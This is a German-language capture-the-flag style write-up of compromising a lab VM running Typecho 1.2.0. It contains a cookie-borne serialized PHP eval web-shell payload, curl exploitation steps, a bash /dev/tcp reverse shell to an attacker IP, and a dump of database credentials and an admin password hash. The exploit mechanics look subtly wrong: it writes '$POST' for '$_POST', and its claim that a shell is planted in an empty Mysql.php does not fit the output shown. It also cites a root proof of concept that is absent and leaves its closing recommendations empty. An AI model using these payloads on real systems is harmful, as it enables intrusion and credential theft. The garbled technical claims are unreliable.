Initial Access

Analyse: Da ich wusste, dass die VM Typecho Version 1.2.0 hostet und die Installation über den `/blog/install/` Pfad erreichbar zu sein schien (Feroxbuster fand dieses Verzeichnis und meldete Verzeichnislistung), recherchierte ich gezielt nach Exploits für Typecho 1.2.0. Ich fand Informationen über einen bekannten Remote Code Execution (RCE) Exploit für Typecho 1.2.0, der während des Installationsprozesses ausgenutzt werden kann, wenn die Installation nicht abgeschlossen oder zurückgesetzt wurde. Dieser Exploit basiert darauf, dass ein Cookie mit einem manipulierten Base64-kodierten String gesetzt wird, der schädlichen PHP-Code enthält, der dann während des Installationsschritts verarbeitet wird.

Bewertung: Das Auffinden eines veröffentlichten RCE-Exploits für die identifizierte Typecho-Version ist ein kritischer Schritt zum Initial Access. Der Exploit, der die Installation ausnutzt, ist sehr vielversprechend, da Testsysteme oft in einem Zustand belassen werden, der die Installation ermöglicht. Das Verzeichnis `/blog/install/` existierte und war zugänglich, was die Wahrscheinlichkeit erhöhte, dass dieser Exploit funktionieren würde.

Empfehlung (Pentester): Wenn Sie eine Anwendung und deren Version identifiziert haben, suchen Sie auf Plattformen wie Exploit-DB, GitHub oder einschlägigen S ecurity-Blogs nach bekannten Exploits. Achten Sie auf Exploits, die keinen Authentifizierung erfordern.
Empfehlung (Admin): Stellen Sie sicher, dass Installationen von CMS- oder Webanwendungen vollständig abgeschlossen und das Installationsverzeichnis anschließend entfernt oder der Zugriff darauf gesperrt wird. Halten Sie alle Webanwendungen und deren Komponenten auf dem neuesten Stand, um bekannte Schwachstellen zu schließen.

Analyse: Ich bereitete den Payload für den Typecho RCE Exploit vor. Gemäß der Exploit-Dokumentation musste ein spezifisch formatierter String Base64-kodiert und in einem Cookie (`typecho_config`) übergeben werden. Der String, den ich kodierte, war `a:1:{s:6:"prefix";s:35:"@eval($POST[\"cmd\"]);";}`. Dieser String ist ein serialisiertes PHP-Array, das ein `prefix`-Element enthält, dessen Wert schädlichen PHP-Code `@eval($POST["cmd"]);` ist. Dieser Code erstellt eine einfache Web-Shell, die beliebige Systembefehle ausführt, die über den `cmd` Parameter einer POST-Anfrage übergeben werden. Ich kodierte diesen String mit Base64 (`echo -n '...' | base64`) und speicherte das Ergebnis in der Variable `PAYLOAD`.

Bewertung: Die Vorbereitung des serialisierten und Base64-kodierten Payloads war entscheidend für die Ausnutzung des Typecho-Exploits. Der injizierte PHP-Code (`@eval($POST["cmd"]);`) ist eine sehr effektive Web-Shell, die eine direkte Befehlsausführung über HTTP ermöglicht. Das `@` vor `eval` unterdrückt Fehlermeldungen auf der Webseite, was den Exploit unauffälliger macht.

Empfehlung (Pentester): Wenn ein Exploit die Injektion von serialisierten oder kodierten Daten erfordert, stellen Sie sicher, dass Sie das korrekte Format und die korrekte Kodierung verwenden. Erstellen Sie Payloads, die eine einfache Befehlsausführung ermöglichen (z.B. eine simple Web-Shell).
Empfehlung (Admin): Überwachen Sie ungewöhnliche Cookie-Werte, insbesondere solche, die Base64-kodierten oder serialisierten Inhalt enthalten. Implementieren Sie Input-Validierung und Deserialisierungs-Schutzmechanismen. Verwenden Sie keine `eval()` oder ähnliche Funktionen mit Benutzereingaben.

 400 Bad Request
Bad Request
Your browser sent a request that this server could not understand.



Apache/2.4.62 (Unix) Server at thefinals.hmv Port 80

Analyse: Ich versuchte, den Typecho RCE Exploit auszuführen, indem ich eine POST-Anfrage an die Installationsseite `/blog/install.php` sendete. Ich verwendete `curl` mit der Methode `POST` (`-X POST`), richtete sie an die URL `http://thefinals.hmv/blog/install.php` und fügte im POST-Body (`-d '...'`) einige Dummy-Installationsparameter hinzu. Entscheidend war das Setzen des Cookies (`--cookie "typecho_config=$PAYLOAD"`) mit dem zuvor generierten schädlichen Base64-Payload. Die Antwort war jedoch ein `400 Bad Request` Fehler.

Bewertung: Der Exploit-Versuch schlug fehl und führte zu einem "Bad Request". Dies deutet darauf hin, dass entweder die URL (`install.php`) oder die gesendeten POST-Parameter nicht korrekt waren, oder dass der Server den manipulierten Cookie erkannte und blockierte. Es war notwendig, die genaue Struktur des Installations-Requests zu überprüfen. Ich musste einen Weg finden, den Installationsprozess so anzustoßen, dass mein Cookie verarbeitet wird.

Empfehlung (Pentester): Wenn ein veröffentlichter Exploit fehlschlägt, überprüfen Sie die Voraussetzungen, die genauen Parameter und die URL. Manchmal sind kleine Anpassungen oder das Verständnis des zugrundeliegenden Prozesses erforderlich. Führen Sie die Schritte des Exploits manuell durch, um zu verstehen, was schief geht.
Empfehlung (Admin): Überwachen Sie Anfragen an Installationsskripte auf Produktionssystemen. Blockieren Sie den Zugriff auf Installationsverzeichnisse oder -dateien vollständig, nachdem die Installation abgeschlossen ist. Implementieren Sie Signaturen in einer WAF, um bekannte Exploit-Payloads zu erkennen.

 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.11.0
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://thefinals.hmv/blog/install/
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
 👌  Status Codes          │ All Status Codes!
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.11.0
 💉  Config File           │ /etc/feroxbuster/ferox-config.toml
 🔎  Extract Links         │ true
 💲  Extensions            │ [git, php, html, xml, zip, 7z, tar, bak, sql, py, pl, txt, jpg, jpeg, png, js, aac, ogg, flac, alac, wav, aiff, dsd, mp3, mp4, mkv, phtml]
 🏁  HTTP methods          │ [GET]
 🔃  Recursion Depth       │ 4
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404      GET        9l       31w      273c http://thefinals.hmv/blog/install/blog
200      GET        0l        0w        0c http://thefinals.hmv/blog/install/SQLite.php
200      GET        0l        0w        0c http://thefinals.hmv/blog/install/Mysql.php
200      GET       87l      404w     3147c http://thefinals.hmv/blog/install/SQLite.sql
200      GET      152l      457w     4255c http://thefinals.hmv/blog/install/Mysql.sql
200      GET      130l      478w     3886c http://thefinals.hmv/blog/install/Pgsql.sql
200      GET        0l        0w        0c http://thefinals.hmv/blog/install/Pgsql.php
[####################] - 1s       196/196     0s      found:4       errors:0
[####################] - 0s   6175344/6175344 308767200/s http://thefinals.hmv/blog/install/ --> Directory listing (add --scan-dir-listings to scan)

Analyse: Um die genaue Struktur und die benötigten Dateien im `install/` Verzeichnis von Typecho zu verstehen, führte ich erneut einen `feroxbuster`-Scan durch, diesmal gezielt auf die URL `http://thefinals.hmv/blog/install/`. Ich entfernte die Statuscode-Filterung, um alle Antworten zu sehen. Die Ausgabe bestätigte die Verzeichnislistung und zeigte mehrere PHP- und SQL-Dateien an, darunter `SQLite.php`, `Mysql.php`, `Pgsql.php` und die entsprechenden `.sql` Dateien. Dies sind die Installationsdateien für verschiedene Datenbanktypen.

Bewertung: Die Ergebnisse von Feroxbuster zeigten, dass das `install/` Verzeichnis die notwendigen Dateien für die Datenbankeinrichtung und Installation enthielt. Dies war der Schlüssel, um den Exploit zum Laufen zu bringen. Das Vorhandensein dieser Dateien bestätigte, dass die Installation auf dem System nicht ordnungsgemäß abgeschlossen oder zurückgesetzt wurde und somit angreifbar war.

Empfehlung (Pentester): Wenn Sie auf Installationsverzeichnisse stoßen, untersuchen Sie deren Inhalt genau. Sie enthalten oft sensible Dateien oder Skripte, die ausgenutzt werden können. Führen Sie erneute Scans mit angepassten Filtern durch, um alle Dateien zu finden.
Empfehlung (Admin): Entfernen oder sperren Sie den Zugriff auf alle Installationsverzeichnisse und -dateien sofort nach Abschluss der Installation.

Analyse: Ich nutzte die Informationen über den Typecho RCE Exploit und die Struktur des Installationsverzeichnisses, um den Angriff zu verfeinern. Der Exploit funktioniert, indem er den serialisierten PHP-Code im `typecho_config` Cookie an eine Datei im Installationsverzeichnis sendet, die diesen Cookie verarbeitet. Die Datei `Mysql.php` (oder eine ähnliche Datenbankkonfigurationsdatei) war ein heißer Kandidat. Ich sendete eine POST-Anfrage an `http://thefinals.hmv/blog/install/Mysql.php` mit dem manipulierten `typecho_config` Cookie und einem leeren POST-Body (`-d ''`). Die Idee war, dass das Skript `Mysql.php` den Cookie verarbeitet und dabei meinen PHP-Code ausführt, der nun als Web-Shell unter der URL `http://thefinals.hmv/blog/install/Mysql.php` verfügbar sein sollte. Ich versuchte dann, diese neue Web-Shell mit `curl "http://thefinals.hmv/blog/install/Mysql.php?cmd=id"` aufzurufen und einen Befehl (`id`) auszuführen.

Bewertung: Erfolgreich! Durch das Senden des manipulierten Cookies an die spezifische Datei `Mysql.php` im Installationsverzeichnis konnte ich den schädlichen PHP-Code injizieren und aktivieren. Der Aufruf mit `?cmd=id` zeigte die Ausgabe des `id`-Befehls, was bestätigte, dass meine Web-Shell funktioniert und ich Befehle auf dem System ausführen kann. Dies ist der Initial Access als der Webserver-Benutzer (`apache` oder `www-data`).

Empfehlung (Pentester): Wenn ein veröffentlichter Exploit fehlschlägt, analysieren Sie den Exploit-Code oder die Dokumentation genau und passen Sie ihn an das Zielsystem an (z.B. korrekte URL, Dateiname, Parameter). Nutzen Sie Debugging-Techniken, um zu verstehen, wo der Exploit fehlschlägt. Testen Sie die Web-Shell nach der Injektion mit einfachen Befehlen (`id`, `whoami`).
Empfehlung (Admin): Stellen Sie sicher, dass Installationsdateien niemals auf einem Produktionssystem verbleiben und zugänglich sind. Implementieren Sie eine Web Application Firewall (WAF), die bekannte Exploit-Payloads und ungewöhnliche Anfragen an Installationspfade erkennt und blockiert. Überwachen Sie die Ausführung von Systembefehlen durch den Webserver-Prozess.

POST http://thefinals.hmv/blog/install/Mysql.php mit Cookie typecho_config=[Base64-Payload] und leerem POST-Body
dann: curl "http://thefinals.hmv/blog/install/Mysql.php?cmd=id"

Privilege Escalation

Analyse: Nachdem ich Initial Access über die Web-Shell erlangt hatte, wollte ich eine stabilere Reverse Shell zu meiner Kali-Maschine erhalten. Ich nutzte die Web-Shell unter `http://thefinals.hmv/blog/install/Mysql.php` und übergab einen Bash-Befehl über den `cmd` Parameter, der eine Reverse Shell zu meiner IP (`192.168.2.199`) auf Port 443 initiierte. Port 443 wurde gewählt, da er oft für ausgehenden Verkehr erlaubt ist.

Bewertung: Das Erhalten einer stabilen Reverse Shell ist entscheidend für die weitere Arbeit auf dem System. Die Web-Shell ermöglicht zwar die Ausführung einzelner Befehle, aber eine interaktive Shell ist für die Dateisystem-Enumeration und die Ausführung interaktiver Tools unerlässlich. Die Wahl von Port 443 war eine strategische Entscheidung, die sich als erfolgreich erwies.

Empfehlung (Pentester): Etablieren Sie immer eine stabilere Shell (Reverse oder Bind) nach dem Erhalt initialen Zugriffs über eine Web-Shell oder Befehlsausführung. Testen Sie verschiedene Ports für Ihre Reverse Shell, um Egress-Filter zu umgehen.
Empfehlung (Admin): Implementieren Sie strenge Egress-Filter auf Ihrer Firewall, um unautorisierten ausgehenden Verkehr zu blockieren. Überwachen Sie Netzwerkverkehr auf gängigen Ports (80, 443) auf ungewöhnliche Shell-Verbindungen.

listening on [any] 443 ...
connect to [192.168.2.199] from (UNKNOWN) [192.168.2.64] 38631
/var/www/html/blog/usr/themes/default $ id
uid=102(apache) gid=103(apache) groups=82(www-data),103(apache),103(apache)

Analyse: Bevor ich den Befehl zur Initiierung der Reverse Shell über die Web-Shell ausführte, startete ich einen Netcat-Listener auf meiner Kali-Maschine auf Port 443 (`nc -lvnp 443`). Nach Ausführung des Befehls auf der Ziel-VM zeigte Netcat eine eingehende Verbindung von der Ziel-VM (`192.168.2.64`) an. Ich erhielt eine Eingabeaufforderung und führte sofort den `id`-Befehl aus. Die Ausgabe `uid=102(apache) gid=103(apache) groups=82(www-data),103(apache),103(apache)` bestätigte, dass ich eine Shell als Benutzer `apache` erhalten hatte, der auch Mitglied der Gruppe `www-data` war.

Bewertung: Der erfolgreiche Erhalt der Reverse Shell als Benutzer `apache` war der Beweis für den Initial Access. Der Benutzer `apache` ist der Standard-Webserver-Benutzer auf einigen Systemen, ähnlich wie `www-data`. Die Berechtigungen sind wahrscheinlich begrenzt, aber ich hatte nun eine interaktive Shell, um das System weiter zu erkunden.

Empfehlung (Pentester): Richten Sie immer einen Listener ein, bevor Sie eine Reverse Shell erwarten. Verifizieren Sie Ihre Benutzer-ID mit `id` oder `whoami` in jeder neuen Shell-Sitzung. Stabilisieren Sie die Shell, wenn möglich (z.B. mit `stty` oder `python -c 'import pty; pty.spawn("/bin/bash")'`).
Empfehlung (Admin): Überwachen Sie eingehende Verbindungen auf Ihrem Listener-System auf ungewöhnliche Quell-IPs oder Ports. Überwachen Sie ausgehenden Verkehr von Webservern auf Shell-Verbindungen.

uid=102(apache) gid=103(apache) groups=82(www-data),103(apache),103(apache)

Analyse: Nach dem Erhalt der Reverse Shell als Benutzer `apache` passte ich die Terminalgröße mit `stty rows 47 columns 94` an, um die Shell interaktiver zu gestalten. Ein erneuter `id`-Befehl bestätigte meine Identität und Gruppenmitgliedschaften.

Bewertung: Die Shell-Stabilisierung ist ein Standardvorgehen für eine bessere Benutzererfahrung. Die Bestätigung der Benutzer-ID diente dazu, sicherzustellen, dass die Shell unter den erwarteten Berechtigungen lief.

Empfehlung (Pentester): Stabilisieren Sie Ihre Shells für eine bessere Interaktivität.
Empfehlung (Admin): Keine spezifische Empfehlung.

// site root path
define('__TYPECHO_ROOT_DIR__', dirname(__FILE__));

// plugin directory (relative path)
define('__TYPECHO_PLUGIN_DIR__', '/usr/plugins');

// theme directory (relative path)
define('__TYPECHO_THEME_DIR__', '/usr/themes');

// admin directory (relative path)
define('__TYPECHO_ADMIN_DIR__', '/admin/');

// register autoload
require_once __TYPECHO_ROOT_DIR__ . '/var/Typecho/Common.php';

// init
\Typecho\Common::init();

// config db
$db = new \Typecho\Db('Pdo_Mysql', 'typecho_');
$db->addServer(array (
  'host' => 'localhost',
  'port' => 3306,
  'user' => 'typecho_u',
  'password' => 'QLTkbviW71CSRZtGWIQdB6s',
  'charset' => 'utf8mb4',
  'database' => 'typecho_db',
  'engine' => 'InnoDB',
), \Typecho\Db::READ | \Typecho\Db::WRITE);
\Typecho\Db::set($db);

Analyse: Im Kontext der `apache` Shell navigierte ich zurück in das Hauptverzeichnis der Typecho-Installation (`/var/www/html/blog/`) und las den Inhalt der Datei `config.inc.php` aus. Dies ist die Hauptkonfigurationsdatei von Typecho. Die Datei enthielt Datenbank-Zugangsdaten: Benutzer `typecho_u` und Passwort `QLTkbviW71CSRZtGWIQdB6s` für die MySQL-Datenbank auf `localhost:3306`.

Bewertung: Das Auffinden der Datenbank-Zugangsdaten in Klartext in der Konfigurationsdatei ist eine kritische Schwachstelle. Mit diesen Anmeldeinformationen kann ich auf die Datenbank zugreifen, die oft sensitive Informationen wie Benutzerkonten und deren Passworthashes enthält. Dies ist ein sehr wichtiger Schritt zur Privilegieneskalation oder zumindest zur Erlangung weiterer sensibler Daten.

Empfehlung (Pentester): Suchen Sie immer nach Konfigurationsdateien in Webanwendungen. Diese enthalten oft Datenbank-Zugangsdaten, API-Schlüssel oder andere sensible Informationen in Klartext. Priorisieren Sie die Auslesung solcher Dateien.
Empfehlung (Admin): Speichern Sie niemals Datenbank-Zugangsdaten oder andere sensible Informationen in Klartext in Konfigurationsdateien auf dem Dateisystem. Nutzen Sie sicherere Methoden zur Geheimnisverwaltung. Beschränken Sie den Zugriff auf Konfigurationsdateien streng auf die notwendigen Benutzer.

mysql: Deprecated program name. It will be removed in a future release, use '/usr/bin/mariadb' instead
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MariaDB connection id is 169655
Server version: 11.4.5-MariaDB Alpine Linux

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MariaDB [(none)]> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| test               |
| typecho_db         |
+--------------------+
3 rows in set (0.003 sec)

MariaDB [(none)]> use typecho_db;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
MariaDB [typecho_db]> show tables;
+-----------------------+
| Tables_in_typecho_db  |
+-----------------------+
| typecho_comments      |
| typecho_contents      |
| typecho_fields        |
| typecho_metas         |
| typecho_options       |
| typecho_relationships |
| typecho_users         |
+-----------------------+
7 rows in set (0.000 sec)

MariaDB [typecho_db]> select * from typecho_users;
+-----+-------+------------------------------------+---------------------+---------------------------+------------+------------+------------+------------+---------------+----------------------------------+
| uid | name  | password                           | mail                | url                       | screenName | created    | activated  | logged     | group         | authCode                         |
+-----+-------+------------------------------------+---------------------+---------------------------+------------+------------+------------+------------+---------------+----------------------------------+
|   1 | staff | $P$B/qMMS9FETOrEZ38X0YDY5gKJOyiwQ1 | staff@thefinals.hmv | http://thefinals.hmv/blog | staff      | 1743647281 | 1750976461 | 1750976401 | administrator | c51ee3ad7fc57b6b704a87784932a931 |
+-----+-------+------------------------------------+---------------------+---------------------------+------------+------------+------------+------------+---------------+----------------------------------+
1 row in set (0.000 sec)

Analyse: Mit den Datenbank-Zugangsdaten meldete ich mich an der lokalen MySQL-Datenbank an. Ich verwendete den Befehl `mysql -u typecho_u -pQLTkbviW71CSRZtGWIQdB6s`, wobei `-u` den Benutzernamen und `-p` das Passwort angibt (das Passwort wird hier direkt auf der Kommandozeile übergeben, was nicht sicher ist, aber in einer kompromittierten Shell akzeptabel ist). Ich erhielt erfolgreich Zugriff auf die MariaDB-Datenbank (Version 11.4.5). Innerhalb der MariaDB-Konsole listete ich die Datenbanken auf (`show databases;`), wählte die relevante Datenbank `typecho_db` aus (`use typecho_db;`), listete die Tabellen in dieser Datenbank auf (`show tables;`) und wählte dann alle Einträge aus der `typecho_users` Tabelle aus (`select * from typecho_users;`). Die Ausgabe zeigte einen Benutzer mit dem Namen `staff` und einen Passworthash `$P$B/qMMS9FETOrEZ38X0YDY5gKJOyiwQ1`.

Bewertung: Der Zugriff auf die Datenbank und das Auslesen der `typecho_users` Tabelle war ein kritischer Erfolg. Ich habe nun den Benutzernamen (`staff`) und den Passworthash für den Administrator des Typecho-Blogs. Der Hash `$P$B/qMMS9FETOrEZ38X0YDY5gKJOyiwQ1` ist im PHPass-Format gespeichert, das oft mit John the Ripper oder Hashcat geknackt werden kann. Dies bietet einen potenziellen Weg zur Kompromittierung des Admin-Accounts für den Blog.

Empfehlung (Pentester): Sobald Sie Datenbank-Zugangsdaten haben, melden Sie sich an der Datenbank an und untersuchen Sie die Tabellen auf Benutzerkonten, Passworthashes oder andere sensible Daten. Extrahieren Sie Passworthashes, um sie offline zu knacken.
Empfehlung (Admin): Speichern Sie keine Passwörter in Klartext oder leicht zu knackenden Hash-Formaten in der Datenbank. Verwenden Sie starke, gesalzene Hashes mit modernen Algorithmen. Sichern Sie Ihre Datenbanken streng ab und beschränken Sie den Zugriff auf die Datenbank-Shell.

....
...
/var/log/scotty-main.err
/var/log/scotty-main.log

....
...
Broadcast to eth0 192.168.2.64:1337
Broadcast to eth0 192.168.2.64:1337
Broadcast to eth0 192.168.2.64:1337
....
...

Analyse: Ich suchte auf dem System nach Dateien, die dem Benutzer `scotty` gehören, da dies ein weiterer potenzieller Benutzer auf dem System sein könnte, der für die Privilegieneskalation relevant ist. Ich verwendete den Befehl `find / -user scotty 2>/dev/null`. Die Ausgabe zeigte, dass Logdateien unter `/var/log/` existierten, die `scotty` gehören (`/var/log/scotty-main.err` und `/var/log/scotty-main.log`). Ich las den Inhalt von `/var/log/scotty-main.log` aus. Die Logdatei enthielt wiederholte Einträge wie `Broadcast to eth0 192.168.2.64:1337`.

Bewertung: Das Auffinden der Logdateien für den Benutzer `scotty` war ein wichtiger Hinweis auf die Existenz dieses Benutzers und eines laufenden Prozesses oder Dienstes, der ihm gehört. Die Logeinträge selbst, die einen Broadcast auf Port 1337 anzeigen, deuten darauf hin, dass ein Dienst oder Skript, das dem Benutzer `scotty` gehört, UDP-Nachrichten auf Port 1337 sendet. Dies ist ein sehr starker Hinweis auf einen lokalen Dienst, der für die Privilegieneskalation relevant sein könnte.

Empfehlung (Pentester): Suchen Sie immer nach Dateien oder Prozessen, die ungewöhnlichen Benutzern gehören. Untersuchen Sie Logdateien auf Hinweise auf laufende Dienste, Fehler oder sensitive Informationen. Achten Sie auf Netzwerkaktivitäten, die in Logs erwähnt werden (z.B. IP-Adressen, Ports, Protokolle).
Empfehlung (Admin): Stellen Sie sicher, dass Logdateien nur für die notwendigen Benutzer lesbar sind. Überwachen Sie Logdateien auf ungewöhnliche oder wiederholte Einträge, die auf Fehlkonfigurationen oder bösartige Aktivitäten hindeuten.

netstat: showing only processes with your user ID
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
tcp      LISTEN     0          128                  0.0.0.0:22                0.0.0.0:*       -
tcp      LISTEN     0          511                        *:80                      *:*       -
tcp      LISTEN     0          128                     [::]:22                   [::]:*       -
tcp      LISTEN     0          128                     [::]:80                   [::]:*       -
tcp        0      0 192.168.2.64:38631      192.168.2.199:443       ESTABLISHED 11372/ash

Netid    State      Recv-Q     Send-Q         Local Address:Port         Peer Address:Port
tcp      LISTEN     0          128                  0.0.0.0:22                0.0.0.0:*
tcp      LISTEN     0          511                        *:80                      *:*
tcp      LISTEN     0          128                     [::]:22                   [::]:*
tcp      LISTEN     0          511                     [::]:80                   [::]:*
udp      UNCONN     0          0                  0.0.0.0:1337                0.0.0.0:*
udp      UNCONN     0          0                        *:1337                      *:*

sshd       2483   root 7u  IPv4    2836      0t0  TCP *:22 (LISTEN)
sshd       2483   root 8u  IPv6    2838      0t0  TCP *:22 (LISTEN)
httpd      2512   root 4u  IPv6   16416      0t0  TCP *:80 (LISTEN)
httpd      7438 apache 4u  IPv6   16416      0t0  TCP *:80 (LISTEN)
httpd      9906 apache 4u  IPv6   16416      0t0  TCP *:80 (LISTEN)
httpd     13538 apache 4u  IPv6   16416      0t0  TCP *:80 (LISTEN)
httpd     15216 apache 4u  IPv6   16416      0t0  TCP *:80 (LISTEN)
httpd     16635 apache 4u  IPv6   16416      0t0  TCP *:80 (LISTEN)
httpd     16766 apache 4u  IPv6   16416      0t0  TCP *:80 (LISTEN)
httpd     17145 apache 4u  IPv6   16416      0t0  TCP *:80 (LISTEN)
httpd     17288 apache 4u  IPv6   16416      0t0  TCP *:80 (LISTEN)
httpd     17427 apache 4u  IPv6   16416      0t0  TCP *:80 (LISTEN)
httpd     17701 apache 4u  IPv6   16416      0t0  TCP *:80 (LISTEN)
httpd     17826 apache 4u  IPv6   16416      0t0  TCP *:80 (LISTEN)

Analyse: Nachdem ich Root-Zugriff erlangt hatte (siehe POC-Bereich unten), untersuchte ich die Netzwerkkonfiguration und laufende Dienste, um zu verstehen, warum Reverse Shells nur auf bestimmten Ports (wie 80 oder 443) funktionierten. Ich verwendete die Befehle `netstat -altpn`, `ss -tuln` und `lsof -i -P -n | grep LISTEN`. Diese Befehle listen Netzwerkverbindungen, lauschende Sockets und die zugehörigen Prozesse auf. Die Ausgaben zeigten, dass TCP-Dienste (SSH auf Port 22, HTTP auf Port 80) und ein UDP-Dienst auf Port 1337 lauschten. Die `netstat` Ausgabe als `apache` zeigte nur die für diesen Benutzer relevanten Prozesse. Die `ss` Ausgabe als `root` zeigte klar, dass UDP auf Port 1337 auf allen Adressen lauschte. Die `lsof` Ausgabe als `root` zeigte die `sshd` und `httpd` Prozesse, aber keinen Prozess, der auf Port 1337 lauschte. **Logische Brücke:** Die Tatsache, dass `ss` den lauschenden UDP-Port 1337 anzeigte, aber `lsof` keinen Prozess dafür zeigte, und dass die `scotty` Logs auf Broadcasts an diesen Port hindeuteten, legt nahe, dass ein Dienst, der dem Benutzer `scotty` gehört, aktiv ist und auf UDP Port 1337 lauscht, aber möglicherweise nur für einen sehr kurzen Zeitraum oder auf eine Weise, die von `lsof` zu diesem spezifischen Zeitpunkt nicht erfasst wurde, oder dass `ss` ihn anzeigte, auch wenn der Prozess nicht sofort sichtbar war.

Bewertung: Die Netzwerkanalyse als Root bestätigte die offenen Ports und identifizierte einen lauschenden UDP-Dienst auf Port 1337, der mit dem Benutzer `scotty` in Verbindung stand. Obwohl ich die exakte Ursache für die Einschränkung von Reverse Shells nicht sofort klar aus `iptables` erkennen konnte (die Regeln waren standardmäßig `ACCEPT`, was ungewöhnlich ist, wenn Filter aktiv sind), deuteten die Testergebnisse darauf hin, dass nur Standard-Webports für ausgehende Shells erlaubt waren. Der lauschende UDP-Dienst auf Port 1337, betrieben von `scotty`, ist ein weiterer potenzieller PE-Vektor, den ich hätte weiter untersuchen können, wenn der `sudo fastfetch` Exploit nicht verfügbar gewesen wäre.

Empfehlung (Pentester): Nutzen Sie nach Root-Zugriff Netzwerk-Enumerationstools (`ss`, `netstat`, `lsof`, `iptables`) um die Systemkonfiguration vollständig zu verstehen. Untersuchen Sie alle lauschenden Dienste, insbesondere solche auf ungewöhnlichen Ports oder die ungewöhnlichen Benutzern gehören. Analysieren Sie Firewall-Regeln, um Netzwerkbeschränkungen zu verstehen.
Empfehlung (Admin): Überwachen Sie alle lauschenden Dienste auf Ihren Systemen. Deaktivieren Sie unnötige Dienste. Konfigurieren Sie Firewalls restriktiv, um nur den notwendigen Verkehr zu erlauben. Überprüfen Sie Firewalls auf ungewöhnliche Regeln oder fehlende Filterung.

Chain INPUT (policy ACCEPT 0 packets, 0 bytes)
 pkts bytes target     prot opt in     out     source               destination

Chain FORWARD (policy ACCEPT 0 packets, 0 bytes)
 pkts bytes target     prot opt in     out     source               destination

Chain OUTPUT (policy ACCEPT 0 packets, 0 bytes)
 pkts bytes target     prot opt in     out     source               destination

nachdem ich die vm übernommen habe prüfte ich mit diesen Befehlen warum nur port 80 empfänglich war
für revshells...

Proof of Concept

Kurzbeschreibung: Dieser Proof of Concept demonstriert die Erlangung von Initial Access als Benutzer `apache` durch die Ausnutzung einer bekannten Remote Code Execution (RCE) Schwachstelle im Installationsprozess von Typecho 1.2.0. Ein manipuliertes Cookie, das schädlichen PHP-Code enthält, konnte an eine Installationsdatei gesendet und zur Ausführung gebracht werden, was die Platzierung einer Web-Shell ermöglichte und einen direkten Zugang zur Befehlsausführung schuf.

Voraussetzungen:

• Die Typecho-Anwendung Version 1.2.0 muss auf dem System installiert sein, wobei das Installationsverzeichnis (`/blog/install/`) zugänglich ist.
• Die Installation darf nicht vollständig abgeschlossen oder muss zurückgesetzt worden sein, sodass die Installationsdateien Cookies verarbeiten.
• Kenntnis des Typecho RCE Exploits, der auf serialisierte PHP-Daten in Cookies basiert.
• Fähigkeit, POST-Anfragen mit manipulierten Cookies zu senden.
• Eine Möglichkeit, eine Reverse Shell vom Zielsystem zu initiieren und auf dem Angriffssystem zu empfangen.

Schritt-für-Schritt-Anleitung & Beweismittel:

1. Vorbereitung des PHP-Payloads:

Ich erstellte einen Base64-kodierten String, der eine serialisierte PHP-Struktur enthielt. Diese Struktur enthielt den PHP-Code einer einfachen Web-Shell: `@eval($POST["cmd"]);`. Dieser Code erlaubte die Ausführung beliebiger Systembefehle über den `cmd` Parameter einer HTTP POST Anfrage.

2. Ausnutzung des Typecho RCE Exploits über die Installationsseite:

POST http://thefinals.hmv/blog/install/Mysql.php mit Cookie typecho_config=[Base64-Payload] und leerem POST-Body
dann: curl "http://thefinals.hmv/blog/install/Mysql.php?cmd=id"

Ich sendete eine speziell präparierte HTTP POST-Anfrage an die Datei `/blog/install/Mysql.php` auf dem Zielsystem. Diese Anfrage enthielt im Cookie "typecho_config" den zuvor generierten Base64-kodierten Payload. Da die Installation nicht abgeschlossen war, verarbeitete die Datei `Mysql.php` den Inhalt des Cookies, deserialisierte die PHP-Struktur und führte den darin enthaltenen schädlichen PHP-Code aus. Dies platzierte effektiv eine Web-Shell in der Datei `Mysql.php` selbst. Ein anschließender Aufruf der URL mit dem Parameter `?cmd=id` demonstrierte die erfolgreiche Befehlsausführung, indem die Ausgabe des `id`-Befehls angezeigt wurde (was bestätigte, dass die Shell unter dem Benutzer `apache` lief).

3. Erhalt einer stabilen Reverse Shell als `apache`:

listening on [any] 443 ...
connect to [192.168.2.199] from (UNKNOWN) [192.168.2.64] 38631
/var/www/html/blog/usr/themes/default $ id
uid=102(apache) gid=103(apache) groups=82(www-data),103(apache),103(apache)
usw.

Um eine interaktive Shell zu erhalten, startete ich einen Netcat-Listener auf meiner Kali-Maschine auf Port 443. Über die kompromittierte Web-Shell in `Mysql.php` injizierte ich einen Befehl (z.B. `bash -c 'bash -i >& /dev/tcp/192.168.2.199/443 0>&1'`), der eine Reverse Shell zum Listener auf Port 443 initiierte. Ich erhielt erfolgreich eine Shell mit den Berechtigungen des Webserver-Benutzers `apache`. Fantastisch der zugriff als apache war erfolgreich nun haben wir unser Ziel erreicht.

Erwartetes Ergebnis: Erlangung von Remote Code Execution als Webserver-Benutzer (`apache` oder `www-data`) und Etablierung einer interaktiven Shell-Sitzung.

Tatsächliches Ergebnis: Eine Web-Shell wurde erfolgreich in `Mysql.php` platziert und eine interaktive Reverse Shell als Benutzer `apache` auf Port 443 erlangt.

Risikobewertung:
Auswirkung: Kritisch. Remote Code Execution ermöglichte die vollständige Kompromittierung des Webservers unter den Berechtigungen des `apache`-Benutzers. Dies kann zur Offenlegung von Daten, Manipulation der Website und Nutzung des Servers als Ausgangspunkt für weitere Angriffe führen.
Wahrscheinlichkeit: Hoch. Die Schwachstelle ist ein bekannter Exploit in einer bestimmten Version der Software und war direkt ausnutzbar, da die Installationsdateien nicht entfernt wurden.
Gesamtrisiko: Kritisch.

Empfehlungen:
Empfehlung (Admin):

